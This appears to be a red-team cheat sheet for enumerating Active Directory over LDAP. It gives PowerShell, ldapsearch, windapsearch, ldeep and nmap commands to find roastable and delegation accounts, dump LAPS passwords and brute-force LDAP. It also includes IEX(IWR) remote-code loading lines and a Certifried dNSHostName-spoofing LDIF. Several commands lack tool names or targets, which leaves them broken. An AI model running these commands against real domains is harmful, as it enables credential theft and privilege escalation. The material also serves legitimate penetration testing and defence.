Lightweight Directory Access Protocol
LDAP Authentication Protocols (Almond)


Some Extensible Match Matching Rules:
Rule Name
True if all bits from the attribute match the value (bitwise AND).
True if any bits from the attribute match the value (bitwise OR).
Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN.


Decode UAC Values

# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
$UACPropertyFlags = @(
$Attributes = ""
1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
Return $Attributes


Scan for LDAP Singing and LDAP Channel Binding:
$ python3 -method BOTH -dc-ip -u snovvcrash -p 'Passw0rd!'
$ cme ldap -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done

LDAP Signing & LDAP Channel Binding

Property Name
Property Path
If LdapServerIntegrity is set to 2, LDAP Signing is required:
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
If LdapEnforceChannelBinding is set to 2, LDAP Channel Binding is always required:
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding



Install via Capabilities (Windows clients) or via Features (Windows servers):
# Servers
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
# Clients
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
Install via ADModule:
PS > IEX(IWR "" -UseBasicParsing)
PS > Import-ActiveDirectory
PS > IEX(IWR "" -UseBasicParsing)

Example Queries

List disabled users (when searching for users use objectCategory + objectClass filters):
PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
Count users, groups and computers:
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
List users with DoesNotRequirePreAuth set (aka asreproastable):
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
List all groups that j.doe is a member of:
PS > Get-ADPrincipalGroupMembership j.doe | select name
List all groups (including nested groups) that j.doe is a member of:
PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
List members of IT Support group through nested group membership:
PS > Get-ADGroupMember "IT Support" -Recursive
List users marked as trusted for delegation (TRUSTED_FOR_DELEGATION UAC value is 524288):
PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
Find the number of users in the Helpdesk OU:
PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
Find users with description field filled (one-liner):
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
Find users with a null password (PASSWD_NOTREQD UAC value is 32):
PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
Create a new domain user account:
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
List deleted AD objects (AD recycle bin):
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap

ldap3 (Python)

Check if anonymous bind is allowed:
>>> from ldap3 import Server, Connection, ALL
>>> s = Server('', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> print(



$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
Basic syntax:
$ ldapsearch -h -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
Get base naming contexts:
$ ldapsearch -h -x -s base namingcontexts
Extract data for the whole domain catalog and then grep your way through:
$ ldapsearch -h -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
Or filter out only what you need:
$ ldapsearch -h -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
Get Remote Management Users group:
$ ldapsearch -h -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
Dump LAPS passwords:
$ ldapsearch -h -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
Simple authentication with a plaintext password:
$ ldapsearch -H ldap:// -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this to work):
$ sudo apt install libsasl2-modules-gssapi-mit
$ megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
Analyze large output for anomalies by searching for unique strings:
$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr


An example of removing SPNs and changing dNSHostName (see dNSHostName Spoofing (Certifried)):
$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
replace: dNSHostName
dNSHostName: dc01.megacorp.local


Enumerate domain function functional level with LDAP anonymous bind:
$ python3 --dc-ip -d megacorp.local -u '' --functionality
Enumerate users in Protected Users group which are also trusted for unconstrained delegation:
$ python3 --dc-ip -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
Find what OU is the user John Doe part of:
$ python3 --dc-ip -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into a csv file:
$ python3 --dc-ip -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv


Find user accounts which require smart card authentication (SMARTCARD_REQUIRED UAC value is 262144):
$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
Get password history size in the domain:
$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
Search for service accounts configured for constrained delegation:
$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
Dump all users info:
$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt


Enumerate password policy in the domain:
$ python3 -l -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
Run all checks:
$ python3 -l -d megacorp.local -u j.doe -p 'Passw0rd!' -t all


$ python3 -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889


Enumerate ACEs of the AdminSDHolder object:
$ ldeep ldap -s 'ldap://' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
Convert SID to name:
$ ldeep ldap -s 'ldap://' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>

Nmap NSE

$ nmap -n -Pn -sV --script ldap-rootdse -p389
$ nmap -n -Pn -sV --script ldap-search -p389
$ nmap -n -Pn -sV --script ldap-brute -p389


$ ./ -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip


$ python3 -u [email protected] -p 'Passw0rd!' megacorp.local -o megacorp
Last modified 1mo ago